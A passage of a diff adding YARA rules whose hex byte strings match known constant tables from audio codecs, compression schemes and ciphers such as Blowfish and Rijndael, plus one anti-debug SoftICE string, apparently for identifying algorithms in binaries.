+	$a0 = { 00000000e19fcf136b9737268a08f835d6876e4c3718a15fbd10596a5c8f967905a7dc98e438138b6e30ebbe8faf24add320b2d432bf7dc7b8b785f259284ae10ae71199eb78de8a617026bf80efe9acdc607fd53dffb0c6b7f748f3566887e00f40cd01eedf021264d7fa2785483534d9c7a34d38586c5eb250946b53cf5b781467229bf5f8ed887ff015bd9e6fdaaec2e04cd7237f83c4a9777bf148e8b4e211c0fe03f05f31107a57c9259bc80636c747904f26d85f5cacd0a7694d4f687a1e803302ff1ffc11751704249488cb37c8075d4e2998925da3906a68420fa57b1b27ef9afab8208970b0d8bc912f17afcda081d62c3f4ec5a637b6f047a879e328ce449fc9518b8c435973b9a2c6bcaafe492ad31fd6e5c095de1df57441d2e62d699807ccf6571446feaf21a7616032fbeef64b1a7139589079c16d71e60e7e22295506c3b69a1549be6220a821ad33f4ae3b4a1531f4599f390c6c7ea6c37f278e899ec611468d4c19beb8ad8671abf109e7d2109628c19a9ed0f47b011fe73ca96604dd36a917573e5122b6a19e31ea2e08480bb1c75b81b93f6e6026f07d390eba9cd891758f52998dbab30642a9ef89d4d00e161bc3841ee3f665812ce5364e779dd7d1b88e5dd940bbbc468fa8e0c919d10156d6c28b5e2ef76ac1e1e433e9ab05d2766416587e9c23b9e15330e56ec54904f10a5a8ef9f26f6f663d7c50358897b1aa47843ba2bfb1da3d70a286b2e6db672d29c8ed25d1fd0cba1eee5592540fb40d9b1c3e056329df9aac3a83153a43628af550e8820d65091dc2765ad2990ebb4d561d3145ae28d0da613b8c55f7426dca3851e7c2c064065d0f775f754596beea8a8534e272b0d57dbda389f22bda686de4c9e2651cfc03fad3ef4452aa0ca5cd651f2fc59d2ace5a523992d5c440734a0b53f942f36618dd3c7541f57694a06ab9872a6241b2cbfd8ea1977218d876edd7cbfce52ffe1d7ae0ed4eb5bb95af2a748625228cb3c4bd43a09832d5d979ad1acaf3a5e2ff123a2dec4b12670daa8da81e2085502bc11a9f389d9509417c0ac652f6023e67179df17478fbcc089964031b136cfb2ef2f3343dae7ca2444fe36d57c5eb956224745a717d5c10909cc3df8316cb27b6f754e8a5abdb7edc4a44b1cfc04c49fa21d386e9721cdd9193831282198beab7f81425a4a49bb3dd45047ccecf0c84fb2e934be877bb01099624ce1a1c2c362ffdb3f93ca13c6f4540a3a056caab58632b3497706c9cee938d032180070bd9b5e69416a6ba1b80df5b844fccd18cb7f9301378ea693b320b88a4fd1802ac052de333ca3ebfbc5c475e239354d42b6b6135b4a472667bff0a87e430190decc82cec73073fb0fc914651635e55db6ba6603af4697363dc23928243ec81084b14b4e9d4dba7b55b4dde54c482cddecc7af83f53b5eb }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_16_128__avcodec___faad___16_big_30_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000280030003c00480058006c0080 }
+
+condition:
+	$a0
+}
+
+	
+rule Tabulated_escapes_for_exponential_symbol_distribution__8_byt_16_
+{
+strings:
+	$a0 = { 332b120c0b0908070605040303020202 }
+
+condition:
+	$a0
+}
+
+	
+rule SNOW_SBox_0__32_lil_1024_
+{
+strings:
+	$a0 = { 00804040008040000480404044080110040841000488401004080040400041000080015004880110048841100488404040080110448001504400405040804040440001504080410040004150400001400000001044084110008000404408404000800100040001400408011040884110400841400400410044004140440800000480410000000100448800400000414040080100440040000000011040004050440000400480011044084100000001504080010000880000448841500408001040084000048800504008015000880150408801404488401040080050440800104488011040004000040840104000015044884110008000500088001000004040048000000480400040800010408040000400400000800000048041500400000000884050000000404400001000080010408841404480000044804000000840100000415000000140448800100080014044000050008840404488414040084150048841000008411040084040440041104080011000880050440040400080410044004010440800404088005040000000048001000000410040884010408841500400004044880150400840104480410000084000440840100080414004804010048040504008405040880150408800000400010004080150000840404088400044800110448000404088405040800050400001100480014000080050408040104008004004004040000841000000411000084150040840504000414004000110008001100400015044800100408001500088415044000140408040500088011004004050008040104008411044804010040800000088414040884100400000404400410004004110048801400000401044884000048800400088004000000000048800004000404044800010448840500008015004800040440840000000405000080000440041500408010040000050408840404480411044804040448800500008414040880100040041404408405040004010008841004080004004804140048000504088011044000110440001004000001004004150000801400400401044084140048801500488001040804110008000100408005000884010048840004480414040084100008041504400000044804150040000104408005040800140448040504008000000804050448840404408014044800140400001000408400000804110440801004080000000084050040801404480005000000050408800400400005040880010400801400088400004084110048001500488414004084140440801500480001044880140448801000480411000080100448800000488405000080110440841500088014004884150408041500088411004084150000040000408404040004110408041400008004044884100048801004008001000880100 }
+
+condition:
+	$a0
+}
+
+	
+rule State_table_used_in_PAQ1__PAQ2__PAQ3_and_PAQ5_compression__8_byt_3902_
+{
+strings:
+	$a0 = { 000000020001ffffffffffffffff0000010001040103ffffffffffffffff0100000002050204ffffffffffffffff0000020003070306ffffffffffffffff0100010004080407ffffffffffffffff0200000005090508ffffffffffffffff000003000307060affffffffffffffff01000200070c070bffffffffffffffff02000100080d080cffffffffffffffff03000000090e0508ffffffffffffffff00000400060b0a0fffffffffffffffff01000300070c0b10ffffffffffffffff020002000c120c11ffffffffffffffff030001000d13080cffffffffffffffff040000000e14090dffffffffffffffff00000500060b0f15ffffffffffffffff010004000b111016ffffffffffffffff020003000c121117ffffffffffffffff0300020012190c11ffffffffffffffff04000100131a0d12ffffffffffffffff05000000141b090dffffffffffffffff000006000a10151cffffffffffffffff010005000b11161dffffffffffffffff020004001118171effffffffffffffff0300030012191117ffffffffffffffff0400020019211218ffffffffffffffff050001001a220d12ffffffffffffffff060000001b230e13ffffffffffffffff000007000a101c24ffffffffffffffff0100060010171d25ffffffffffffffff0200050011181e26ffffffffffffffff030004001820171effffffffffffffff040003001921181fffffffffffffffff05000200212a1218ffffffffffffffff06000100222b1319ffffffffffffffff07000000232c0e13ffffffffffffffff000008000f16242dffffffffffffffff010007001017252effffffffffffffff02000600171f262fffffffffffffffff0300050018201e26ffffffffffffffff0400040020291f27ffffffffffffffff05000300212a181fffffffffffffffff060002002a341920ffffffffffffffff070001002b351319ffffffffffffffff080000002c36141affffffffffffffff000009000f162d5effffffffffffffff01000800161e2e37ffffffffffffffff02000700171f2f38ffffffffffffffff030006001f28262fffffffffffffffff0400050020292730ffffffffffffffff0500040029331f27ffffffffffffffff060003002a342028ffffffffffffffff07000200343e1920ffffffffffffffff08000100353f1a21ffffffffffffffff09000000365f141affffffffffffffff01000900161e3760ffffffffffffffff020008001e273840ffffffffffffffff030007001f282f38ffffffffffffffff0400060028323039ffffffffffffffff0500050029332730ffffffffffffffff06000400333d2831ffffffffffffffff07000300343e2028ffffffffffffffff080002003e472129ffffffffffffffff090001003f611a21ffffffffffffffff020009001e274063ffffffffffffffff0300080027313840ffffffffffffffff0400070028323941ffffffffffffffff05000600323c3039ffffffffffffffff06000500333d313affffffffffffffff070004003d462831ffffffffffffffff080003003e472932ffffffffffffffff0900020047642129ffffffffffffffff0300090027314063ffffffffffffffff04000800313b4148ffffffffffffffff05000700323c3941ffffffffffffffff060006003c453a42ffffffffffffffff070005003d46313affffffffffffffff08000400464e323bffffffffffffffff0900030047642932ffffffffffffffff04000900313b4867ffffffffffffffff050008003b444148ffffffffffffffff060007003c454249ffffffffffffffff07000600454d3a42ffffffffffffffff08000500464e3b43ffffffffffffffff090004004e68323bffffffffffffffff050009003b444867ffffffffffffffff07000700454d4249ffffffffffffffff090005004e683b43ffffffffffffffff06000900444c4f6cffffffffffffffff09000600546d434affffffffffffffff070009004c534f6cffffffffffffffff09000700546d4a50ffffffffffffffff0800090053575572ffffffffffffffff0900080057735055ffffffffffffffff00000a00151d5e62ffffffffffffff7f0a0000005f651b22ffffff7fffffffff01000a001d266066ffffffffffffff7f0a0001006169222affffff7fffffffff00000c001c25626affffffffffffff7f02000a002630636bffffffffffffff7f0a000200646e2a33ffffff7fffffffff0c000000656f232bffffff7fffffffff01000c00252f6670ffffffffffffff7f03000a00303a636bffffffffffffff7f0a000300646e333cffffff7fffffffff0c00010069752b34ffffff7fffffffff00000e00242e6a76ffffffffffffff7f02000c002f396b77ffffffffffffff7f04000a003a436771ffffffffffffff7f0a00040068743c44ffffff7fffffffff0c0002006e7a343dffffff7fffffffff0e0000006f7b2c35ffffff7fffffffff01000e002e38707cffffffffffffff7f03000c0039426b77ffffffffffffff7f05000a00434b6771ffffffffffffff7f0a0005006874444bffffff7fffffffff0c0003006e7a3d45ffffff7fffffffff0e0001007581353effffff7fffffffff000010002d37768affffffffffffff3f02000e0038417782ffffffffffffff7f04000c00424a717dffffffffffffff7f0c0004007480454cffffff7fffffffff0e0002007a873e46ffffff7fffffffff100000007b8d363fffffff3fffffffff0100100037407c8effffffffffffff3f03000e0041497782ffffffffffffff7f05000c004a51717dffffffffffffff7f0c00050074804c52ffffff7fffffffff0e0003007a87464dffffff7fffffffff1000010081913f47ffffff3fffffffff0200100040488292ffffffffffffff3f04000e0049507d88ffffffffffffff7f06000c0051567883ffffffffffffff7f0c00060079865256ffffff7fffffffff0e00040080894d53ffffff7fffffffff100002008795474effffff3fffffffff03001000484f8292ffffffffffffff3f1000030087954e54ffffff3fffffffff000014005e608a9affffffffffffff3f040010004f558896ffffffffffffff3f1000040089995457ffffff3fffffffff140000008d9d5f61ffffff3fffffffff0100140060638e9effffffffffffff3f0500100055588896ffffffffffffff3f1000050089995759ffffff3fffffffff14000100919f6164ffffff3fffffffff02001400636792a0ffffffffffffff3f06001000585a8b9bffffffffffffff3f100006008c9c595bffffff3fffffffff1400020095a16468ffffff3fffffffff03001400676c92a0ffffffffffffff3f070010005a5c8b9bffffffffffffff3f100007008c9c5b5dffffff3fffffffff1400030095a1686dffffff3fffffffff0000180062669aa4ffffffffffffff3f040014006c7296a2ffffffffffffff3f1400040099a36d73ffffff3fffffffff180000009da76569ffffff3fffffffff01001800666b9ea8ffffffffffffff3f180001009fab696effffff3fffffffff020018006b71a0acffffffffffffff3f18000200a1ad6e74ffffff3fffffffff030018007178a0acffffffffffffff3f18000300a1ad7479ffffff3fffffffff00001c006a70a4b0ffffffffffffff3f04001800787ea2aeffffffffffffff3f18000400a3af797fffffff3fffffffff1c000000a7b16f75ffffff3fffffffff01001c007077a8b2ffffffffffffff3f050018007e84a2aeffffffffffffff3f18000500a3af7f85ffffff3fffffffff1c000100abb3757affffff3fffffffff02001c00777dacb4ffffffffffffff3f1c000200adb57a80ffffff3fffffffff03001c007d83acb4ffffffffffffff3f1c000300adb58086ffffff3fffffffff00002000767cb0beffffffffffffff0f20000000b1bf7b81ffffff0fffffffff010020007c82b2c0ffffffffffffff0f20000100b3c18187ffffff0fffffffff020020008288b4c2ffffffffffffff0f20000200b5c38789ffffff0fffffffff03002000888bb4c2ffffffffffffff0f20000300b5c3898cffffff0fffffffff040020008b8fb6c4ffffffffffffff0f20000400b7c58c90ffffff0fffffffff050020008f93b6c4ffffffffffffff0f20000500b7c59094ffffff0fffffffff060020009397b8c6ffffffffffffff0f20000600b9c79498ffffff0fffffffff000030009a9ebec8ffffffffffffff0f30000000bfc99d9fffffff0fffffffff010030009ea0c0caffffffffffffff0f30000100c1cb9fa1ffffff0fffffffff02003000a0a2c2ccffffffffffffff0f30000200c3cda1a3ffffff0fffffffff03003000a2a5c2ccffffffffffffff0f30000300c3cda3a6ffffff0fffffffff04003000a5a9c4ceffffffffffffff0f30000400c5cfa6aaffffff0fffffffff00004000b0b2c8d4ffffffffffffff0740000000c9d5b1b3ffffff07ffffffff01004000b2b4cad6ffffffffffffff0740000100cbd7b3b5ffffff07ffffffff02004000b4b6ccd8ffffffffffffff0740000200cdd9b5b7ffffff07ffffffff03004000b6b8ccd8ffffffffffffff0740000300cdd9b7b9ffffff07ffffffff04004000b8bacedaffffffffffffff0740000400cfdbb9bbffffff07ffffffff05004000babccedaffffffffffffff0740000500cfdbbbbdffffff07ffffffff00006000bec0d4dcffffffffffffff0760000000d5ddbfc1ffffff07ffffffff01006000c0c2d6deffffffffffffff0760000100d7dfc1c3ffffff07ffffffff02006000c2c4d8e0ffffffffffffff0760000200d9e1c3c5ffffff07ffffffff03006000c4c6d8e0ffffffffffffff0760000300d9e1c5c7ffffff07ffffffff00008000c8cadce6ffffffffffffff0180000000dde7c9cbffffff01ffffffff01008000caccdee8ffffffffffffff0180000100dfe9cbcdffffff01ffffffff02008000cccee0eaffffffffffffff0180000200e1ebcdcfffffff01ffffffff03008000ced0e0eaffffffffffffff0180000300e1ebcfd1ffffff01ffffffff04008000d0d2e2ecffffffffffffff0180000400e3edd1d3ffffff01ffffffff00000001dcdee6eeffffffffffffff0000010000e7efdddfffffff00ffffffff01000001dee0e8f0ffffffffffffff0000010100e9f1dfe1ffffff00ffffffff02000001e0e2eaf2ffffffffffffff0000010200ebf3e1e3ffffff00ffffffff03000001e2e4eaf2ffffffffffffff0000010300ebf3e3e5ffffff00ffffffff00000002e6e8eeeeffffffff0000000000020000efefe7e900000000ffffffff01000002e8eaf0f0ffffffff0000000000020100f1f1e9eb00000000ffffffff02000002eaecf2f2ffffffff0000000000020200f3f3ebed00000000ffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_g_decayslope__flt64___64_big_360_
+{
+strings:
+	$a0 = { 3ff00000000000003ff00000000000003ff00000000000003fee6666666666663feccccccccccccd3feb3333333333333fe999999999999a3fe80000000000003fe66666666666663fe4cccccccccccd3fe33333333333333fe199999999999a3fe00000000000003fdccccccccccccd3fd999999999999a3fd66666666666663fd33333333333333fd00000000000003fc999999999999a3fc33333333333333fb999999999999a3fa999999999999a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_envelope_table__flt64___64_big_992_
+{
+strings:
+	$a0 = { 3f83ad080b673c4f3fa37ca200e013953fb592677ec7e4b93fc2bec37f71245a3fcc7189bf1fd4cb3fd3c10ec02ea6283fd9c1d220266eb23fe00000203656533fe31f17203e4a243fe61f78c01f033f3fe8e39dc0001beb3feb504f3fd09cdd3fed4db320422e923feec8360028551a3fefb14c0008b9623ff00000000000003fefb14bdfd2630f3feec835dff1fec73fed4db3000bd83f3feb504effed60963fe8e39d801cdfa43fe61f78803bc6f83fe31f16dfd19d7d3fe00000000000003fd9c1d1fff0185f3fd3c10e9ff84fd53fcc718980d8e9a23fc2bec33f0477b43fb59266fdee8b6c3fa37ca0ff2d60fb3f83ad04049c71e63fa37ca200e013953fc2bec37f71245a3fd3c10ec02ea6283fe00000203656533fe61f78c01f033f3feb504f3fd09cdd3feec8360028551a3ff00000000000003feec835dff1fec73feb504effed60963fe61f78803bc6f83fe00000000000003fd3c10e9ff84fd53fc2bec33f0477b43fa37ca0ff2d60fb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003fc2bec37f71245a3fe00000203656533feb504f3fd09cdd3ff00000000000003feb504effed60963fe00000000000003fc2bec33f0477b40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003fe00000203656533ff00000000000003fe00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_old_15_tap_filter__flt64___64_lil_120_
+{
+strings:
+	$a0 = { 993a2425381754bf3af65773cb226ebf8f5466e14294813f62aef2cde058953fbaa6895856bea9bfde551ebe4212bfbf376dbef23fbfd23fb4d3fb3248abe63f376dbef23fbfd23fde551ebe4212bfbfbaa6895856bea9bf62aef2cde058953f8f5466e14294813f3af65773cb226ebf993a2425381754bf }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_ks0_table__32_lil_1024_
+{
+strings:
+	$a0 = { a60b31d1acb5df98db72fd2fb7df1ad0edafe1b8967e266a45907cba997f2cf14799a124f76c91b3e2f2010816fc8e85d8206963694e5771a3fe58a47e3d93f48f74950d58b68e7258cd8b71ee4a15821da4547bb5595ac239d5309c1360f22a23b0d1c5f0856028187941caef38dbb8b0dc798e0e183a608b0e9e6c3e8a1eb0c17715d7274b31bdda2faf78605c6055f32555e694ab55aa629848574014e8636a39ca55b610ab2a345cccb4cee84111af8654a193e9727c1114eeb32abc6f635dc5a92bf6311874163e5cce1e93879b33bad6af5ccf246c8153327a7786952898488f3bafb94b6b1be8bfc493212866cc09d86191a921fb60ac7c483280ec5d5d5d84efb17585e9022326dc881b65eb813e8923c5ac96d3f36f6d0f3942f48382440b2e042084a44af0c8695e9b1f9e4268c6219a6ce9f6619c0c67f088d3abd2a0516a682f54d828a70f96a33351ab6c0bef6ee43b7a1350f03bba982afb7e1d65f1a17601af393e59ca66880e43821986ee8cb49f6f45c3a5847dbe5e8b3bd8756fe07320c1859f441a40a66ac15662aad34e06773f3672dffe1b3d029b4224d7d03748120ad0d3ea0fdb9bc0f149c97253077b1b9980d879d425f7dee8f61a50fee33b4c79b6bde06c97ba06c004b64fa9c1c4609f40c29e5c5e63246a19af6ffb68b5536c3eebb239136fec523b1f51fc6d2c95309b444581cc09bd5eaf04d0e3befd4a33de07280f66b34b2e1957a8cbc00f74c845395f0bd2dbfbd3b9bdc079550a32601ac600a1d679722c40fe259f67cca31ffbf8e9a58ef82232dbdf16753c156b61fdc81e502fab5205adfab53d32608723fd487b315382df003ebb575c9ea08c6fca2e56871adb6917dff6a842d5c3ff7e28c63267ac73554f8cb0275b69c858cabb5da3ffe1a011f0b8983dfa10b88321fd6cb5fc4a5bd3d12d79e4539a6545f8b6bc498ed29097fb4bdaf2dde1337ecba44113fb62e8c6e4cedaca20ef014c7736fe9e7ed0b41ff12b4ddadb95989190ae718eadeaa0d5936bd0d18ed0e025c7af2f5b3c8eb794758efbe2f68f642b12f212b888881cf00d90a05ead4f1cc38f6891f1cfd1adc1a8b318222f2f77170ebefe2d75eaa11f028b0fcca0e5e8746fb5d6f3ac1899e289cee04fa8b4b7e013fd813bc47cd9a8add266a25f16057795801473cc9377141a216520ade686fab577f54254c7cf359dfb0cafcdeba0893e7bd31b41d6497e1eae2d0e25005eb37120bb006822afe0b8579b3664241eb909f01d916355aaa6df598943c1787f535ad9a25b7d20c5b9e50276032683a9cf95626819c811414a734eca2d47b34aa9147b5200511b1529539a3f570fd6e4c69bbc76a4602b0074e681b56fba081fe91b576bec96f215d90d2a216563b6b6f9b9e72e0534ff645685c55d2db053a18f9fa99947ba086a07856e }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pow2_tab__flt32___32_lil_260_
+{
+strings:
+	$a0 = { 0000803fd264813f87cd823f293a843fc3aa853f621f873f0f98883fd5148a3fc2958b3fdf1a8d3f3aa48e3fdc31903fd3c3913f2b5a933ff0f4943f2d94963ff037983f46e0993f3a8d9b3fda3e9d3f32f59e3f51b0a03f4370a23f1635a43fd7fea53f94cda73f5ba1a93f3a7aab3f3f58ad3f793baf3ff623b13fc411b33ff304b53f92fdb63faffbb83f5bffba3fa408bd3f9a17bf3f4d2cc13fcd46c33f2a67c53f758dc73fbeb9c93f15eccb3f8c24ce3f3463d03f1ea8d23f5bf3d43ffd44d73f169dd93fb8fbdb3ff560de3fdfcce03f893fe33f07b9e53f6a39e83fc7c0ea3f304fed3fbae4ef3f7781f23f7d25f53fdfd0f73fb383fa3f0c3efd3f00000040 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_rate_full_codebook__16_big_256_
+{
+strings:
+	$a0 = { 000AFFBFFFC5000C006E0022FF7A009D0068FFACFFDEFF8D0017FF9B0003002DFF9BFFF0FFC5001CFFD30086FFBD0016003DFFE300E2FFE6FFC9FF4D009DFFCDFF24FFA3FFDB003C0076004AFFD0FFA1FF4B006F0024FFCCFF29004EFF900027FFEFFFD1FF210013000CFF9EFF7200820036FF810015FFF40027FFD0000C00800006FF590052FF9AFFB10037FFD40030FFECFFCB0008FFC3000BFFBAFF63FF580014FFC8FFB6004E0021FFC1FF53FFFEFFB5FFCBFF6E004D0042FFE30009FFB500410077FFD5004C00E90062007DFF64FFE5004EFFF700AA00B0008FFF6CFFF9001BFF780005001B0012008B00CC0007FF48FF3B0034FFFD004EFF430008FFBF }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Td1__0x5051f4a7U___32_lil_1024_
+{
+strings:
+	$a0 = { a7f4515065417e53a4171ac35e273a966bab3bcb459d1ff158faacab03e34b93fa3020556d76adf676cc88914c02f525d7e54ffccb2ac5d744352680a362b58f5ab1de491bba25670eea4598c0fe5de1752fc302f04c811297468da3f9d36bc65f8f03e79c9215957a6dbfeb595295da83bed42d217458d369e04929c8c98e4489c2756a798ef4783e58996b71b927dd4fe1beb6ad88f017ac20c9663ace7db44adf6318311ae582335197607f5362457764b1e0ae6bbb84a081fe1c2b08f99468487058fd458f196cde9487f87b52b7d373ab23024b72e28f1fe357ab55662a28ebb207c2b52f037bc5869a0837d3a5872830f2a5bf23b26a0302ba8216ed5c1ccf8a2bb479a792f207f3f0e2694ea1f4da65cdbe0506d56234d11ffea6c48a532e349d55f3a2a0e18a0532ebf6a475ec830b39ef6040aa9f715e06106ebd518a213ef906dd963d053eddaebde64d468d5491b55dc47105d406046f155060fffb981924e9bdd697434089cc9ed9677742e8b0bd8b8907885b19e738eec879db0a7ca1470f427ce91e84f8c90000000086800983ed2b324870111eac725a6c4eff0efdfb38850f56d5ae3d1e392d3627d90f0a64a65c6821545b9bd12e36243a670a0cb1e757930f96eeb4d2919b1b9ec5c0804f20dc61a24b775a691a121c16ba93e20a2aa0c0e5e0223c43171b121d0d090e0bc78bf2ada8b62db9a91e14c819f157850775af4cdd99eebb607fa3fd2601f79ff5725cbc3b6644c57efb5b3429438b76c623cbdcfcedb668f1e4b863dc31d7ca856342102297134011c68420244a857d3dbbd2f832f9ae11a129c76d2f9e1d4b30b2dcf352860dece3c177d016b32b6cb970a999489411fa64e947228cfca8c43ff0a01a2c7d56d8903322ef4e4987c7d138d9c1a2ca8cfe0bd4983681f5a6cfde7aa5288eb7da26bfad3fa49d3a2ce49278500dcc5f6a9b467e5462138df6c2b8d890e8f7392e5eafc382f5805d9fbe93d0697c2dd56fa91225cfb399acc83b7d1810a7639ce86ebb3bdb7b7826cd0918596ef4b79aec019a4f83a86e95e665e6ffaa7ecfbc2108e815efe69be7bad9366f4ace099fead47cb029d6b2a431af233f2a3194a5c63066a235c0bc4e7437ca82fca6d090e0b0d8a733159804f14adaec41f750cd7f0ef691172fd64d768db0ef434d4daacc540496e4dfb5d19ee3886a4c1b1f2cc1b85165467fea5e9d04358c015d7487fa73410bfb2e1d67b35ad2db92525610e93347d66d1361d79a8c0ca1377a14f8598e3c13eb8927a9ceeec961b735e51ce1edb1477a3cdfd29c5973f2553fce14187937c773bfcdf753eaaafd5f5b6f3ddf14db447886f3afca81c468b93e3424382c40a3c25fc31d167225e2bc0c493c288b950dff4101a83971b30c08dee4b4d89cc156649084cb7b61b632d5705c6c487457b8d042 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Softice_NmSymIsSoftICELoaded__8_byt_STR_21_
+{
+strings:
+	$a0 = { 4e6d53796d4973536f66744943454c6f6164656400 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_32_sbox__32_lil_1024_
+{
+strings:
+	$a0 = { 8718aaa35c435ed742c06509f46e0e8320ee57f8d3fe844802c566f6aee854f4d9e92eb3d4381f215d9b82153cdf5c784942869963392eb19f42f4af352c43f92503f4e770ddc02ded3d974d5edc028a425b17cebf12004c8cd794ca6bb2aa2e9a1bc15246811695c58eead98fc28a1e0f5ced4e1c10b43882b02d44e1290928de43180afc9982df4bbc2f02dd1539a0fa03a817deb246f142332360c3e7ce68ef07d612abeb97b79b857f7a2f2e1fc3da715be99a26e2fad1c3393d366ba553f2dec9965ffcc984a3b3276bdf6da5ba10b525f2a7850f63712ee89a1688cb192a1e957caff6f5aeb3c2cbe55df54ff514626bf7e3830b16f5a69e6aaf41e0a2171f2f39ee993bb6c05ea67bc616700fa40977c1016e3293d980b2811814fb1b27f2afee038254b4969d6b1ac0a817ea6ebfd5d08878ee9164fefc2fcd93a1b884010d553049aeb9364f01da8870a8852a6cad3f78c62241e74d20bf59e7c2e08e24005a6b443b58c29f0d8095a8145fa1c36c6670f1fe0b5591c1d8668a7b90695e1b353e62a8d535fabdc0cc68f0a7cd6a3a3336e95506b92d6065c113df696db10b453cb880006337b29411a9d85613bcb66dd7795598a82f5c9b6e19f4767654db9766a864fcad166eb215c57fc23ceb6fb006a3c8fed99967db33911a20dd6624e1cd5debeb508f11d626b2afe4f3ceb9dd8961b347b1197a4a8430c71d5ced7d428fc58bed21e4dd9efb471e6e5e71cc4999ffc03c0f2f12cd8451d2436c5e7a27bc18bfd2e0c6d70720e4b7d43f521fdea2b8d9c76b1ada67028c881854e3d189797dbacb5377cc3055962d1fa19d828da79015c649c1c18f1c7f53aa699b77c8b7f27174fa583cdc1844dcc9768c8c5df0d9205c4d0da83173c474a4e910947011420e882b08c8614a336b2cd28ef69f1bcc430df30f3c2ba064e5874f5af550e7f840825ff1a75421fe0064d6376d26f106d57d7309e00336debb40a80f67349eab314b18b6da1cf5521f734feb58d143e3b9c4dd778dfda63db93b2dd50fccf81254fb6033a67fd03ae5ab1c0f70e60bed243eecc13d5b956736a5159d54add746ce0476be7a23a0e0489c027cf014b7491251bad69e22787fa4f0bdffcf2984ca0779daf46571da359f7e44aad2ffac52748ca774d60e6aa461e22a15630caab712ef275961bc18b14f728d7551757b68816fb3f05237ed5442a17172c7ecabac31d3ec4af98ecd94e962819e4d8b30376286e8218a100b7f91e8d6b5a908f8ad97773104d31121c9cabe465db392360a434f224019245ea6bcc5ba70ec32cca8ae368bae7b9dd52429cf5a8a09f3816b39a62225debbb81c5cac1dfeb85e97c6b36c834f16a97663c1134c221957353b2025fec03ab59aa166e34fb2f0bd98a9fda8712dd53aa89608013f05e60500d3b059cccb992a403d5e46 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_13__16_lil_514_
+{
+strings:
+	$a0 = { 00404b3f963ee23d2e3d7a3cc63b123b5e3aab39f83846389437e33632368235d23423347433c63218326c31c03016306c2fc32e1b2e752dcf2c2b2c872be42a412a9e29fb285a28b9271b277d26e1254625ad2414247e23e8225522c2213221a3201420861ffb1e701ee81d601ddc1c581cd61b541bd61a581add196219e9187018f7177e17071790161c16a9153915c9145c14f01387131f13b9125412f21190113011d01073101610bc0f630f0d0fb70e640e110ec10d710d240dd70c8c0c410cf60bab0b630b1b0bd50a900a4e0a0c0acc098d0950091409da08a00869083208fc07c607930760072f07ff06d106a30677064b062106f705cf05a80581055a0533050c05e704c2049f047c045b043a041b04fc03de03c003a40388036e0354033a0321030903f102db02c502af029a02850271025d024a023702260215020402f301e201d101c101b101a2019301850177016a015d01510145013a012f0125011b0111010701fe00f500ec00e300db00d300cc00c500be00b700b100ab00a5009f00990093008d00870082007d00780073006e006900650061005d005900550051004d004a004700440041003e003b0038003500330031002f002d002b00290027002500230021001f001d001b001900170016001500140013001200110010000f000e000d000c000b000a000900080007000600050004000300020001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab5__16_lil_62_
+{
+strings:
+	$a0 = { E3FFE7FFE9FFF1FFF9FFFBFFFDFFFFFF3300230032003100FDFFFFFF13000300FFFF30002200FDFFFFFF12002100FFFF020020001100FFFF010010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book11__32_big_3468_
+{
+strings:
+	$a0 = { 00000000000000040000000000000001000000050000000600000002000000060000001900000003000000070000003d00000004000000080000009c0000000500000008000000c60000000600000009000001a7000000070000000a00000390000000080000000a000003c2000000090000000a000003df0000000a0000000b000007e60000000b0000000b000007f30000000c0000000c00000ffb0000000d0000000b000007ec0000000e0000000c00000ffa0000000f0000000c00000ffe000000100000000a0000038e0000001100000005000000050000001200000004000000010000001300000005000000080000001400000006000000140000001500000007000000370000001600000007000000420000001700000008000000920000001800000008000000af0000001900000009000001910000001a00000009000001a50000001b00000009000001b50000001c0000000a0000039e0000001d0000000a000003c00000001e0000000a000003a20000001f0000000a000003cd000000200000000b000007d60000002100000008000000ae00000022000000060000001700000023000000050000000700000024000000050000000900000025000000060000001800000026000000070000003900000027000000070000004000000028000000080000008e0000002900000008000000a30000002a00000008000000b80000002b00000009000001990000002c00000009000001ac0000002d00000009000001c10000002e0000000a000003b10000002f0000000a00000396000000300000000a000003be000000310000000a000003ca00000032000000080000009d00000033000000070000003c00000034000000060000001500000035000000060000001600000036000000060000001a00000037000000070000003b0000003800000007000000440000003900000008000000910000003a00000008000000a50000003b00000008000000be0000003c00000009000001960000003d00000009000001ae0000003e00000009000001b90000003f0000000a000003a1000000400000000a00000391000000410000000a000003a5000000420000000a000003d500000043000000080000009400000044000000080000009a00000045000000070000003600000046000000070000003800000047000000070000003a00000048000000070000004100000049000000080000008c0000004a000000080000009b0000004b00000008000000b00000004c00000008000000c30000004d000000090000019e0000004e00000009000001ab0000004f00000009000001bc000000500000000a0000039f000000510000000a0000038f000000520000000a000003a9000000530000000a000003cf0000005400000008000000930000005500000008000000bf00000056000000070000003e00000057000000070000003f0000005800000007000000430000005900000007000000450000005a000000080000009e